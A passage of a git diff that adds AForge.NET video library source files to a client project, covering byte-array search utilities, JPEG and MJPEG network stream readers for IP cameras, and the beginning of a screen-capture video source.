sourceData ) + { + // get source image size + int width = sourceData.Width; + int height = sourceData.Height; + + // create new image + Bitmap destination = new Bitmap( width, height, sourceData.PixelFormat ); + + // lock destination bitmap data + BitmapData destinationData = destination.LockBits( + new Rectangle( 0, 0, width, height ), + ImageLockMode.ReadWrite, destination.PixelFormat ); + + AForge.SystemTools.CopyUnmanagedMemory( destinationData.Scan0, sourceData.Scan0, height * sourceData.Stride ); + + // unlock destination image + destination.UnlockBits( destinationData ); + + return destination; + } + } +} diff --git a/Client/Core/AForge/Video/ByteArrayUtils.cs b/Client/Core/AForge/Video/ByteArrayUtils.cs new file mode 100644 index 000000000..50e612e71 --- /dev/null +++ b/Client/Core/AForge/Video/ByteArrayUtils.cs @@ -0,0 +1,91 @@ +// AForge Video Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007-2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video +{ + using System; + + /// + /// Some internal utilities for handling arrays. + /// + /// + internal static class ByteArrayUtils + { + /// + /// Check if the array contains needle at specified position. + /// + /// + /// Source array to check for needle. + /// Needle we are searching for. + /// Start index in source array. + /// + /// Returns true if the source array contains the needle at + /// the specified index. Otherwise it returns false. + /// + public static bool Compare( byte[] array, byte[] needle, int startIndex ) + { + int needleLen = needle.Length; + // compare + for ( int i = 0, p = startIndex; i < needleLen; i++, p++ ) + { + if ( array[p] != needle[i] ) + { + return false; + } + } + return true; + } + + /// + /// Find subarray in the source array. + /// + /// + /// Source array to search for needle. + /// Needle we are searching for. + /// Start index in source array. + /// Number of bytes in source array, where the needle is searched for. + /// + /// Returns starting position of the needle if it was found or -1 otherwise. + /// + public static int Find( byte[] array, byte[] needle, int startIndex, int sourceLength ) + { + int needleLen = needle.Length; + int index; + + while ( sourceLength >= needleLen ) + { + // find needle's starting element + index = Array.IndexOf( array, needle[0], startIndex, sourceLength - needleLen + 1 ); + + // if we did not find even the first element of the needls, then the search is failed + if ( index == -1 ) + return -1; + + int i, p; + // check for needle + for ( i = 0, p = index; i < needleLen; i++, p++ ) + { + if ( array[p] != needle[i] ) + { + break; + } + } + + if ( i == needleLen ) + { + // needle was found + return index; + } + + // continue to search for needle + sourceLength -= ( index - startIndex + 1 ); + startIndex = index + 1; + } + return -1; + } + } +} diff --git a/Client/Core/AForge/Video/Exceptions.cs b/Client/Core/AForge/Video/Exceptions.cs new file mode 100644 index 000000000..c0219d4e5 --- /dev/null +++ b/Client/Core/AForge/Video/Exceptions.cs @@ -0,0 +1,31 @@ +// AForge Video Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2005-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video +{ + using System; + + /// + /// Video related exception. + /// + /// + /// The exception is thrown in the case of some video related issues, like + /// failure of initializing codec, compression, etc. + /// + public class VideoException : Exception + { + /// + /// Initializes a new instance of the class. + /// + /// + /// Exception's message. + /// + public VideoException( string message ) : + base( message ) { } + } +} diff --git a/Client/Core/AForge/Video/IVideoSource.cs b/Client/Core/AForge/Video/IVideoSource.cs new file mode 100644 index 000000000..d6ae3e59c --- /dev/null +++ b/Client/Core/AForge/Video/IVideoSource.cs @@ -0,0 +1,126 @@ +// AForge Video Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © Andrew Kirillov, 2005-2009 +// andrew.kirillov@aforgenet.com +// + +namespace AForge.Video +{ + using System; + + /// + /// Video source interface. + /// + /// + /// The interface describes common methods for different type of video sources. + /// + public interface IVideoSource + { + /// + /// New frame event. + /// + /// + /// This event is used to notify clients about new available video frame. + /// + /// Since video source may have multiple clients, each client is responsible for + /// making a copy (cloning) of the passed video frame, but video source is responsible for + /// disposing its own original copy after notifying of clients. + /// + /// + event NewFrameEventHandler NewFrame; + + /// + /// Video source error event. + /// + /// + /// This event is used to notify clients about any type of errors occurred in + /// video source object, for example internal exceptions. + /// + event VideoSourceErrorEventHandler VideoSourceError; + + /// + /// Video playing finished event. + /// + /// + /// This event is used to notify clients that the video playing has finished. + /// + /// + event PlayingFinishedEventHandler PlayingFinished; + + /// + /// Video source. + /// + /// + /// The meaning of the property depends on particular video source. + /// Depending on video source it may be a file name, URL or any other string + /// describing the video source. + /// + string Source { get; } + + /// + /// Received frames count. + /// + /// + /// Number of frames the video source provided from the moment of the last + /// access to the property. + /// + /// + int FramesReceived { get; } + + /// + /// Received bytes count. + /// + /// + /// Number of bytes the video source provided from the moment of the last + /// access to the property. + /// + /// + long BytesReceived { get; } + + /// + /// State of the video source. + /// + /// + /// Current state of video source object - running or not. + /// + bool IsRunning { get; } + + /// + /// Start video source. + /// + /// + /// Starts video source and return execution to caller. Video source + /// object creates background thread and notifies about new frames with the + /// help of event. + /// + void Start( ); + + /// + /// Signal video source to stop its work. + /// + /// + /// Signals video source to stop its background thread, stop to + /// provide new frames and free resources. + /// + void SignalToStop( ); + + /// + /// Wait for video source has stopped. + /// + /// + /// Waits for video source stopping after it was signalled to stop using + /// method. + /// + void WaitForStop( ); + + /// + /// Stop video source. + /// + /// + /// Stops video source aborting its thread. + /// + void Stop( ); + } +} diff --git a/Client/Core/AForge/Video/JPEGStream.cs b/Client/Core/AForge/Video/JPEGStream.cs new file mode 100644 index 000000000..6d85ff28e --- /dev/null +++ b/Client/Core/AForge/Video/JPEGStream.cs @@ -0,0 +1,587 @@ +// AForge Video Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2005-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video +{ + using System; + using System.Drawing; + using System.IO; + using System.Text; + using System.Threading; + using System.Net; + using System.Security; + + /// + /// JPEG video source. + /// + /// + /// The video source constantly downloads JPEG files from the specified URL. + /// + /// Sample usage: + /// + /// // create JPEG video source + /// JPEGStream stream = new JPEGStream( "some url" ); + /// // set NewFrame event handler + /// stream.NewFrame += new NewFrameEventHandler( video_NewFrame ); + /// // start the video source + /// stream.Start( ); + /// // ... + /// // signal to stop + /// stream.SignalToStop( ); + /// // ... + /// + /// private void video_NewFrame( object sender, NewFrameEventArgs eventArgs ) + /// { + /// // get new frame + /// Bitmap bitmap = eventArgs.Frame; + /// // process the frame + /// } + /// + /// + /// Some cameras produce HTTP header, which does not conform strictly to + /// standard, what leads to .NET exception. To avoid this exception the useUnsafeHeaderParsing + /// configuration option of httpWebRequest should be set, what may be done using application + /// configuration file. + /// + /// <configuration> + /// <system.net> + /// <settings> + /// <httpWebRequest useUnsafeHeaderParsing="true" /> + /// </settings> + /// </system.net> + /// </configuration> + /// + /// + /// + public class JPEGStream : IVideoSource + { + // URL for JPEG files + private string source; + // login and password for HTTP authentication + private string login = null; + private string password = null; + // proxy information + private IWebProxy proxy = null; + // received frames count + private int framesReceived; + // recieved byte count + private long bytesReceived; + // use separate HTTP connection group or use default + private bool useSeparateConnectionGroup = false; + // prevent cashing or not + private bool preventCaching = true; + // frame interval in milliseconds + private int frameInterval = 0; + // timeout value for web request + private int requestTimeout = 10000; + // if we should use basic authentication when connecting to the video source + private bool forceBasicAuthentication = false; + + // buffer size used to download JPEG image + private const int bufferSize = 1024 * 1024; + // size of portion to read at once + private const int readSize = 1024; + + private Thread thread = null; + private ManualResetEvent stopEvent = null; + + /// + /// New frame event. + /// + /// + /// Notifies clients about new available frame from video source. + /// + /// Since video source may have multiple clients, each client is responsible for + /// making a copy (cloning) of the passed video frame, because the video source disposes its + /// own original copy after notifying of clients. + /// + /// + public event NewFrameEventHandler NewFrame; + + /// + /// Video source error event. + /// + /// + /// This event is used to notify clients about any type of errors occurred in + /// video source object, for example internal exceptions. + /// + public event VideoSourceErrorEventHandler VideoSourceError; + + /// + /// Video playing finished event. + /// + /// + /// This event is used to notify clients that the video playing has finished. + /// + /// + public event PlayingFinishedEventHandler PlayingFinished; + + /// + /// Use or not separate connection group. + /// + /// + /// The property indicates to open web request in separate connection group. + /// + public bool SeparateConnectionGroup + { + get { return useSeparateConnectionGroup; } + set { useSeparateConnectionGroup = value; } + } + + /// + /// Use or not caching. + /// + /// + /// If the property is set to true, then a fake random parameter will be added + /// to URL to prevent caching. It's required for clients, who are behind proxy server. + /// + public bool PreventCaching + { + get { return preventCaching; } + set { preventCaching = value; } + } + + /// + /// Frame interval. + /// + /// + /// The property sets the interval in milliseconds betwen frames. If the property is + /// set to 100, then the desired frame rate will be 10 frames per second. Default value is 0 - + /// get new frames as fast as possible. + /// + public int FrameInterval + { + get { return frameInterval; } + set { frameInterval = value; } + } + + /// + /// Video source. + /// + /// + /// URL, which provides JPEG files. + /// + public virtual string Source + { + get { return source; } + set { source = value; } + } + + /// + /// Login value. + /// + /// + /// Login required to access video source. + /// + public string Login + { + get { return login; } + set { login = value; } + } + + /// + /// Password value. + /// + /// + /// Password required to access video source. + /// + public string Password + { + get { return password; } + set { password = value; } + } + + /// + /// Gets or sets proxy information for the request. + /// + /// + /// The local computer or application config file may specify that a default + /// proxy to be used. If the Proxy property is specified, then the proxy settings from the Proxy + /// property overridea the local computer or application config file and the instance will use + /// the proxy settings specified. If no proxy is specified in a config file + /// and the Proxy property is unspecified, the request uses the proxy settings + /// inherited from Internet Explorer on the local computer. If there are no proxy settings + /// in Internet Explorer, the request is sent directly to the server. + /// + /// + public IWebProxy Proxy + { + get { return proxy; } + set { proxy = value; } + } + + /// + /// Received frames count. + /// + /// + /// Number of frames the video source provided from the moment of the last + /// access to the property. + /// + /// + public int FramesReceived + { + get + { + int frames = framesReceived; + framesReceived = 0; + return frames; + } + } + + /// + /// Received bytes count. + /// + /// + /// Number of bytes the video source provided from the moment of the last + /// access to the property. + /// + /// + public long BytesReceived + { + get + { + long bytes = bytesReceived; + bytesReceived = 0; + return bytes; + } + } + + /// + /// Request timeout value. + /// + /// + /// The property sets timeout value in milliseconds for web requests. + /// + /// Default value is set 10000 milliseconds. + /// + public int RequestTimeout + { + get { return requestTimeout; } + set { requestTimeout = value; } + } + + /// + /// State of the video source. + /// + /// + /// Current state of video source object - running or not. + /// + public bool IsRunning + { + get + { + if ( thread != null ) + { + // check thread status + if ( thread.Join( 0 ) == false ) + return true; + + // the thread is not running, free resources + Free( ); + } + return false; + } + } + + /// + /// Force using of basic authentication when connecting to the video source. + /// + /// + /// For some IP cameras (TrendNET IP cameras, for example) using standard .NET's authentication via credentials + /// does not seem to be working (seems like camera does not request for authentication, but expects corresponding headers to be + /// present on connection request). So this property allows to force basic authentication by adding required HTTP headers when + /// request is sent. + /// + /// Default value is set to . + /// + /// + public bool ForceBasicAuthentication + { + get { return forceBasicAuthentication; } + set { forceBasicAuthentication = value; } + } + + /// + /// Initializes a new instance of the class. + /// + /// + public JPEGStream( ) { } + + /// + /// Initializes a new instance of the class. + /// + /// + /// URL, which provides JPEG files. + /// + public JPEGStream( string source ) + { + this.source = source; + } + + /// + /// Start video source. + /// + /// + /// Starts video source and return execution to caller. Video source + /// object creates background thread and notifies about new frames with the + /// help of event. + /// + /// Video source is not specified. + /// + public void Start( ) + { + if ( !IsRunning ) + { + // check source + if ( ( source == null ) || ( source == string.Empty ) ) + throw new ArgumentException( "Video source is not specified." ); + + framesReceived = 0; + bytesReceived = 0; + + // create events + stopEvent = new ManualResetEvent( false ); + + // create and start new thread + thread = new Thread( new ThreadStart( WorkerThread ) ); + thread.Name = source; // mainly for debugging + thread.Start( ); + } + } + + /// + /// Signal video source to stop its work. + /// + /// + /// Signals video source to stop its background thread, stop to + /// provide new frames and free resources. + /// + public void SignalToStop( ) + { + // stop thread + if ( thread != null ) + { + // signal to stop + stopEvent.Set( ); + } + } + + /// + /// Wait for video source has stopped. + /// + /// + /// Waits for source stopping after it was signalled to stop using + /// method. + /// + public void WaitForStop( ) + { + if ( thread != null ) + { + // wait for thread stop + thread.Join( ); + + Free( ); + } + } + + /// + /// Stop video source. + /// + /// + /// Stops video source aborting its thread. + /// + /// Since the method aborts background thread, its usage is highly not preferred + /// and should be done only if there are no other options. The correct way of stopping camera + /// is signaling it stop and then + /// waiting for background thread's completion. + /// + /// + public void Stop( ) + { + if ( this.IsRunning ) + { + stopEvent.Set( ); + thread.Abort( ); + WaitForStop( ); + } + } + + /// + /// Free resource. + /// + /// + private void Free( ) + { + thread = null; + + // release events + stopEvent.Close( ); + stopEvent = null; + } + + // Worker thread + private void WorkerThread( ) + { + // buffer to read stream + byte[] buffer = new byte[bufferSize]; + // HTTP web request + HttpWebRequest request = null; + // web responce + WebResponse response = null; + // stream for JPEG downloading + Stream stream = null; + // random generator to add fake parameter for cache preventing + Random rand = new Random( (int) DateTime.Now.Ticks ); + // download start time and duration + DateTime start; + TimeSpan span; + + while ( !stopEvent.WaitOne( 0, false ) ) + { + int read, total = 0; + + try + { + // set dowbload start time + start = DateTime.Now; + + // create request + if ( !preventCaching ) + { + // request without cache prevention + request = (HttpWebRequest) WebRequest.Create( source ); + } + else + { + // request with cache prevention + request = (HttpWebRequest) WebRequest.Create( source + ( ( source.IndexOf( '?' ) == -1 ) ? '?' : '&' ) + "fake=" + rand.Next( ).ToString( ) ); + } + + // set proxy + if ( proxy != null ) + { + request.Proxy = proxy; + } + + // set timeout value for the request + request.Timeout = requestTimeout; + // set login and password + if ( ( login != null ) && ( password != null ) && ( login != string.Empty ) ) + request.Credentials = new NetworkCredential( login, password ); + // set connection group name + if ( useSeparateConnectionGroup ) + request.ConnectionGroupName = GetHashCode( ).ToString( ); + // force basic authentication through extra headers if required + if ( forceBasicAuthentication ) + { + string authInfo = string.Format( "{0}:{1}", login, password ); + authInfo = Convert.ToBase64String( Encoding.Default.GetBytes( authInfo ) ); + request.Headers["Authorization"] = "Basic " + authInfo; + } + // get response + response = request.GetResponse( ); + // get response stream + stream = response.GetResponseStream( ); + stream.ReadTimeout = requestTimeout; + + // loop + while ( !stopEvent.WaitOne( 0, false ) ) + { + // check total read + if ( total > bufferSize - readSize ) + { + total = 0; + } + + // read next portion from stream + if ( ( read = stream.Read( buffer, total, readSize ) ) == 0 ) + break; + + total += read; + + // increment received bytes counter + bytesReceived += read; + } + + if ( !stopEvent.WaitOne( 0, false ) ) + { + // increment frames counter + framesReceived++; + + // provide new image to clients + if ( NewFrame != null ) + { + Bitmap bitmap = (Bitmap) Bitmap.FromStream( new MemoryStream( buffer, 0, total ) ); + // notify client + NewFrame( this, new NewFrameEventArgs( bitmap ) ); + // release the image + bitmap.Dispose( ); + bitmap = null; + } + } + + // wait for a while ? + if ( frameInterval > 0 ) + { + // get download duration + span = DateTime.Now.Subtract( start ); + // miliseconds to sleep + int msec = frameInterval - (int) span.TotalMilliseconds; + + if ( ( msec > 0 ) && ( stopEvent.WaitOne( msec, false ) ) ) + break; + } + } + catch ( ThreadAbortException ) + { + break; + } + catch ( Exception exception ) + { + // provide information to clients + if ( VideoSourceError != null ) + { + VideoSourceError( this, new VideoSourceErrorEventArgs( exception.Message ) ); + } + // wait for a while before the next try + Thread.Sleep( 250 ); + } + finally + { + // abort request + if ( request != null) + { + request.Abort( ); + request = null; + } + // close response stream + if ( stream != null ) + { + stream.Close( ); + stream = null; + } + // close response + if ( response != null ) + { + response.Close( ); + response = null; + } + } + + // need to stop ? + if ( stopEvent.WaitOne( 0, false ) ) + break; + } + + if ( PlayingFinished != null ) + { + PlayingFinished( this, ReasonToFinishPlaying.StoppedByUser ); + } + } + } +} diff --git a/Client/Core/AForge/Video/MJPEGStream.cs b/Client/Core/AForge/Video/MJPEGStream.cs new file mode 100644 index 000000000..612533a97 --- /dev/null +++ b/Client/Core/AForge/Video/MJPEGStream.cs @@ -0,0 +1,704 @@ +// AForge Video Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2005-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video +{ + using System; + using System.Drawing; + using System.IO; + using System.Text; + using System.Threading; + using System.Net; + using System.Security; + + /// + /// MJPEG video source. + /// + /// + /// The video source downloads JPEG images from the specified URL, which represents + /// MJPEG stream. + /// + /// Sample usage: + /// + /// // create MJPEG video source + /// MJPEGStream stream = new MJPEGStream( "some url" ); + /// // set event handlers + /// stream.NewFrame += new NewFrameEventHandler( video_NewFrame ); + /// // start the video source + /// stream.Start( ); + /// // ... + /// + /// + /// Some cameras produce HTTP header, which does not conform strictly to + /// standard, what leads to .NET exception. To avoid this exception the useUnsafeHeaderParsing + /// configuration option of httpWebRequest should be set, what may be done using application + /// configuration file. + /// + /// <configuration> + /// <system.net> + /// <settings> + /// <httpWebRequest useUnsafeHeaderParsing="true" /> + /// </settings> + /// </system.net> + /// </configuration> + /// + /// + /// + public class MJPEGStream : IVideoSource + { + // URL for MJPEG stream + private string source; + // login and password for HTTP authentication + private string login = null; + private string password = null; + // proxy information + private IWebProxy proxy = null; + // received frames count + private int framesReceived; + // recieved byte count + private long bytesReceived; + // use separate HTTP connection group or use default + private bool useSeparateConnectionGroup = true; + // timeout value for web request + private int requestTimeout = 10000; + // if we should use basic authentication when connecting to the video source + private bool forceBasicAuthentication = false; + + // buffer size used to download MJPEG stream + private const int bufSize = 1024 * 1024; + // size of portion to read at once + private const int readSize = 1024; + + private Thread thread = null; + private ManualResetEvent stopEvent = null; + private ManualResetEvent reloadEvent = null; + + private string userAgent = "Mozilla/5.0"; + + /// + /// New frame event. + /// + /// + /// Notifies clients about new available frame from video source. + /// + /// Since video source may have multiple clients, each client is responsible for + /// making a copy (cloning) of the passed video frame, because the video source disposes its + /// own original copy after notifying of clients. + /// + /// + public event NewFrameEventHandler NewFrame; + + /// + /// Video source error event. + /// + /// + /// This event is used to notify clients about any type of errors occurred in + /// video source object, for example internal exceptions. + /// + public event VideoSourceErrorEventHandler VideoSourceError; + + /// + /// Video playing finished event. + /// + /// + /// This event is used to notify clients that the video playing has finished. + /// + /// + public event PlayingFinishedEventHandler PlayingFinished; + + /// + /// Use or not separate connection group. + /// + /// + /// The property indicates to open web request in separate connection group. + /// + public bool SeparateConnectionGroup + { + get { return useSeparateConnectionGroup; } + set { useSeparateConnectionGroup = value; } + } + + /// + /// Video source. + /// + /// + /// URL, which provides MJPEG stream. + /// + public string Source + { + get { return source; } + set + { + source = value; + // signal to reload + if ( thread != null ) + reloadEvent.Set( ); + } + } + + /// + /// Login value. + /// + /// + /// Login required to access video source. + /// + public string Login + { + get { return login; } + set { login = value; } + } + + /// + /// Password value. + /// + /// + /// Password required to access video source. + /// + public string Password + { + get { return password; } + set { password = value; } + } + + /// + /// Gets or sets proxy information for the request. + /// + /// + /// The local computer or application config file may specify that a default + /// proxy to be used. If the Proxy property is specified, then the proxy settings from the Proxy + /// property overridea the local computer or application config file and the instance will use + /// the proxy settings specified. If no proxy is specified in a config file + /// and the Proxy property is unspecified, the request uses the proxy settings + /// inherited from Internet Explorer on the local computer. If there are no proxy settings + /// in Internet Explorer, the request is sent directly to the server. + /// + /// + public IWebProxy Proxy + { + get { return proxy; } + set { proxy = value; } + } + + /// + /// User agent to specify in HTTP request header. + /// + /// + /// Some IP cameras check what is the requesting user agent and depending + /// on it they provide video in different formats or do not provide it at all. The property + /// sets the value of user agent string, which is sent to camera in request header. + /// + /// + /// Default value is set to "Mozilla/5.0". If the value is set to , + /// the user agent string is not sent in request header. + /// + /// + public string HttpUserAgent + { + get { return userAgent; } + set { userAgent = value; } + } + + /// + /// Received frames count. + /// + /// + /// Number of frames the video source provided from the moment of the last + /// access to the property. + /// + /// + public int FramesReceived + { + get + { + int frames = framesReceived; + framesReceived = 0; + return frames; + } + } + + /// + /// Received bytes count. + /// + /// + /// Number of bytes the video source provided from the moment of the last + /// access to the property. + /// + /// + public long BytesReceived + { + get + { + long bytes = bytesReceived; + bytesReceived = 0; + return bytes; + } + } + + /// + /// Request timeout value. + /// + /// + /// The property sets timeout value in milliseconds for web requests. + /// Default value is 10000 milliseconds. + /// + public int RequestTimeout + { + get { return requestTimeout; } + set { requestTimeout = value; } + } + + /// + /// State of the video source. + /// + /// + /// Current state of video source object - running or not. + /// + public bool IsRunning + { + get + { + if ( thread != null ) + { + // check thread status + if ( thread.Join( 0 ) == false ) + return true; + + // the thread is not running, so free resources + Free( ); + } + return false; + } + } + + /// + /// Force using of basic authentication when connecting to the video source. + /// + /// + /// For some IP cameras (TrendNET IP cameras, for example) using standard .NET's authentication via credentials + /// does not seem to be working (seems like camera does not request for authentication, but expects corresponding headers to be + /// present on connection request). So this property allows to force basic authentication by adding required HTTP headers when + /// request is sent. + /// + /// Default value is set to . + /// + /// + public bool ForceBasicAuthentication + { + get { return forceBasicAuthentication; } + set { forceBasicAuthentication = value; } + } + + /// + /// Initializes a new instance of the class. + /// + /// + public MJPEGStream( ) { } + + /// + /// Initializes a new instance of the class. + /// + /// + /// URL, which provides MJPEG stream. + /// + public MJPEGStream( string source ) + { + this.source = source; + } + + /// + /// Start video source. + /// + /// + /// Starts video source and return execution to caller. Video source + /// object creates background thread and notifies about new frames with the + /// help of event. + /// + /// Video source is not specified. + /// + public void Start( ) + { + if ( !IsRunning ) + { + // check source + if ( ( source == null ) || ( source == string.Empty ) ) + throw new ArgumentException( "Video source is not specified." ); + + framesReceived = 0; + bytesReceived = 0; + + // create events + stopEvent = new ManualResetEvent( false ); + reloadEvent = new ManualResetEvent( false ); + + // create and start new thread + thread = new Thread( new ThreadStart( WorkerThread ) ); + thread.Name = source; + thread.Start( ); + } + } + + /// + /// Signal video source to stop its work. + /// + /// + /// Signals video source to stop its background thread, stop to + /// provide new frames and free resources. + /// + public void SignalToStop( ) + { + // stop thread + if ( thread != null ) + { + // signal to stop + stopEvent.Set( ); + } + } + + /// + /// Wait for video source has stopped. + /// + /// + /// Waits for source stopping after it was signalled to stop using + /// method. + /// + public void WaitForStop( ) + { + if ( thread != null ) + { + // wait for thread stop + thread.Join( ); + + Free( ); + } + } + + /// + /// Stop video source. + /// + /// + /// Stops video source aborting its thread. + /// + /// Since the method aborts background thread, its usage is highly not preferred + /// and should be done only if there are no other options. The correct way of stopping camera + /// is signaling it stop and then + /// waiting for background thread's completion. + /// + /// + public void Stop( ) + { + if ( this.IsRunning ) + { + stopEvent.Set( ); + thread.Abort( ); + WaitForStop( ); + } + } + + /// + /// Free resource. + /// + /// + private void Free( ) + { + thread = null; + + // release events + stopEvent.Close( ); + stopEvent = null; + reloadEvent.Close( ); + reloadEvent = null; + } + + // Worker thread + private void WorkerThread( ) + { + // buffer to read stream + byte[] buffer = new byte[bufSize]; + // JPEG magic number + byte[] jpegMagic = new byte[] { 0xFF, 0xD8, 0xFF }; + int jpegMagicLength = 3; + + ASCIIEncoding encoding = new ASCIIEncoding( ); + + while ( !stopEvent.WaitOne( 0, false ) ) + { + // reset reload event + reloadEvent.Reset( ); + + // HTTP web request + HttpWebRequest request = null; + // web responce + WebResponse response = null; + // stream for MJPEG downloading + Stream stream = null; + // boundary betweeen images (string and binary versions) + byte[] boundary = null; + string boudaryStr = null; + // length of boundary + int boundaryLen; + // flag signaling if boundary was checked or not + bool boundaryIsChecked = false; + // read amounts and positions + int read, todo = 0, total = 0, pos = 0, align = 1; + int start = 0, stop = 0; + + // align + // 1 = searching for image start + // 2 = searching for image end + + try + { + // create request + request = (HttpWebRequest) WebRequest.Create( source ); + // set user agent + if ( userAgent != null ) + { + request.UserAgent = userAgent; + } + + // set proxy + if ( proxy != null ) + { + request.Proxy = proxy; + } + + // set timeout value for the request + request.Timeout = requestTimeout; + // set login and password + if ( ( login != null ) && ( password != null ) && ( login != string.Empty ) ) + request.Credentials = new NetworkCredential( login, password ); + // set connection group name + if ( useSeparateConnectionGroup ) + request.ConnectionGroupName = GetHashCode( ).ToString( ); + // force basic authentication through extra headers if required + if ( forceBasicAuthentication ) + { + string authInfo = string.Format( "{0}:{1}", login, password ); + authInfo = Convert.ToBase64String( Encoding.Default.GetBytes( authInfo ) ); + request.Headers["Authorization"] = "Basic " + authInfo; + } + // get response + response = request.GetResponse( ); + + // check content type + string contentType = response.ContentType; + string[] contentTypeArray = contentType.Split( '/' ); + + // "application/octet-stream" + if ( ( contentTypeArray[0] == "application" ) && ( contentTypeArray[1] == "octet-stream" ) ) + { + boundaryLen = 0; + boundary = new byte[0]; + } + else if ( ( contentTypeArray[0] == "multipart" ) && ( contentType.Contains( "mixed" ) ) ) + { + // get boundary + int boundaryIndex = contentType.IndexOf( "boundary", 0 ); + if ( boundaryIndex != -1 ) + { + boundaryIndex = contentType.IndexOf( "=", boundaryIndex + 8 ); + } + + if ( boundaryIndex == -1 ) + { + // try same scenario as with octet-stream, i.e. without boundaries + boundaryLen = 0; + boundary = new byte[0]; + } + else + { + boudaryStr = contentType.Substring( boundaryIndex + 1 ); + // remove spaces and double quotes, which may be added by some IP cameras + boudaryStr = boudaryStr.Trim( ' ', '"' ); + + boundary = encoding.GetBytes( boudaryStr ); + boundaryLen = boundary.Length; + boundaryIsChecked = false; + } + } + else + { + throw new Exception( "Invalid content type." ); + } + + // get response stream + stream = response.GetResponseStream( ); + stream.ReadTimeout = requestTimeout; + + // loop + while ( ( !stopEvent.WaitOne( 0, false ) ) && ( !reloadEvent.WaitOne( 0, false ) ) ) + { + // check total read + if ( total > bufSize - readSize ) + { + total = pos = todo = 0; + } + + // read next portion from stream + if ( ( read = stream.Read( buffer, total, readSize ) ) == 0 ) + throw new ApplicationException( ); + + total += read; + todo += read; + + // increment received bytes counter + bytesReceived += read; + + // do we need to check boundary ? + if ( ( boundaryLen != 0 ) && ( !boundaryIsChecked ) ) + { + // some IP cameras, like AirLink, claim that boundary is "myboundary", + // when it is really "--myboundary". this needs to be corrected. + + pos = ByteArrayUtils.Find( buffer, boundary, 0, todo ); + // continue reading if boudary was not found + if ( pos == -1 ) + continue; + + for ( int i = pos - 1; i >= 0; i-- ) + { + byte ch = buffer[i]; + + if ( ( ch == (byte) '\n' ) || ( ch == (byte) '\r' ) ) + { + break; + } + + boudaryStr = (char) ch + boudaryStr; + } + + boundary = encoding.GetBytes( boudaryStr ); + boundaryLen = boundary.Length; + boundaryIsChecked = true; + } + + // search for image start + if ( ( align == 1 ) && ( todo >= jpegMagicLength ) ) + { + start = ByteArrayUtils.Find( buffer, jpegMagic, pos, todo ); + if ( start != -1 ) + { + // found JPEG start + pos = start + jpegMagicLength; + todo = total - pos; + align = 2; + } + else + { + // delimiter not found + todo = jpegMagicLength - 1; + pos = total - todo; + } + } + + // search for image end ( boundaryLen can be 0, so need extra check ) + while ( ( align == 2 ) && ( todo != 0 ) && ( todo >= boundaryLen ) ) + { + stop = ByteArrayUtils.Find( buffer, + ( boundaryLen != 0 ) ? boundary : jpegMagic, + pos, todo ); + + if ( stop != -1 ) + { + pos = stop; + todo = total - pos; + + // increment frames counter + framesReceived ++; + + // image at stop + if ( ( NewFrame != null ) && ( !stopEvent.WaitOne( 0, false ) ) ) + { + Bitmap bitmap = (Bitmap) Bitmap.FromStream ( new MemoryStream( buffer, start, stop - start ) ); + // notify client + NewFrame( this, new NewFrameEventArgs( bitmap ) ); + // release the image + bitmap.Dispose( ); + bitmap = null; + } + + // shift array + pos = stop + boundaryLen; + todo = total - pos; + Array.Copy( buffer, pos, buffer, 0, todo ); + + total = todo; + pos = 0; + align = 1; + } + else + { + // boundary not found + if ( boundaryLen != 0 ) + { + todo = boundaryLen - 1; + pos = total - todo; + } + else + { + todo = 0; + pos = total; + } + } + } + } + } + catch ( ApplicationException ) + { + // do nothing for Application Exception, which we raised on our own + // wait for a while before the next try + Thread.Sleep( 250 ); + } + catch ( ThreadAbortException ) + { + break; + } + catch ( Exception exception ) + { + // provide information to clients + if ( VideoSourceError != null ) + { + VideoSourceError( this, new VideoSourceErrorEventArgs( exception.Message ) ); + } + // wait for a while before the next try + Thread.Sleep( 250 ); + } + finally + { + // abort request + if ( request != null) + { + request.Abort( ); + request = null; + } + // close response stream + if ( stream != null ) + { + stream.Close( ); + stream = null; + } + // close response + if ( response != null ) + { + response.Close( ); + response = null; + } + } + + // need to stop ? + if ( stopEvent.WaitOne( 0, false ) ) + break; + } + + if ( PlayingFinished != null ) + { + PlayingFinished( this, ReasonToFinishPlaying.StoppedByUser ); + } + } + } +} diff --git a/Client/Core/AForge/Video/ScreenCaptureStream.cs b/Client/Core/AForge/Video/ScreenCaptureStream.cs new file mode 100644 index 000000000..d4a007780 --- /dev/null +++ b/Client/Core/AForge/Video/ScreenCaptureStream.cs @@ -0,0 +1,396 @@ +// AForge Video Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2005-2012 +// contacts@aforgenet.com +// +// Copyright © César Souza, 2012 +// cesarsouza@gmail.com +// + +namespace AForge.Video +{ + using System; + using System.Drawing; + using System.Drawing.Imaging; + using System.Threading; + + /// + /// Screen capture video source. + /// + /// + /// The video source constantly captures the desktop screen. + /// + /// Sample usage: + /// + /// // get entire desktop area size + /// Rectangle screenArea = Rectangle.Empty; + /// foreach ( System.Windows.Forms.Screen screen in + /// System.Windows.Forms.Screen.AllScreens ) + /// { + /// screenArea = Rectangle.Union( screenArea, screen.Bounds ); + /// } + /// + /// // create screen capture video source + /// ScreenCaptureStream stream = new ScreenCaptureStream( screenArea ); + /// + /// // set NewFrame event handler + /// stream.NewFrame += new NewFrameEventHandler( video_NewFrame ); + /// + /// // start the video source + /// stream.Start( ); + /// + /// // ... + /// // signal to stop + /// stream.SignalToStop( ); + /// // ... + /// + /// private void video_NewFrame( object sender, NewFrameEventArgs eventArgs ) + /// { + /// // get new frame + /// Bitmap bitmap = eventArgs.Frame; + /// // process the frame + /// } + /// + /// + /// + public class ScreenCaptureStream : IVideoSource + { + private Rectangle region; + + // frame interval in milliseconds + private int frameInterval = 100; + // received frames count + private int framesReceived; + + private Thread thread = null; + private ManualResetEvent stopEvent = null; + + /// + /// New frame event. + /// + /// + /// Notifies clients about new available frame from video source. + /// + /// Since video source may have multiple clients, each client is responsible for + /// making a copy (cloning) of the 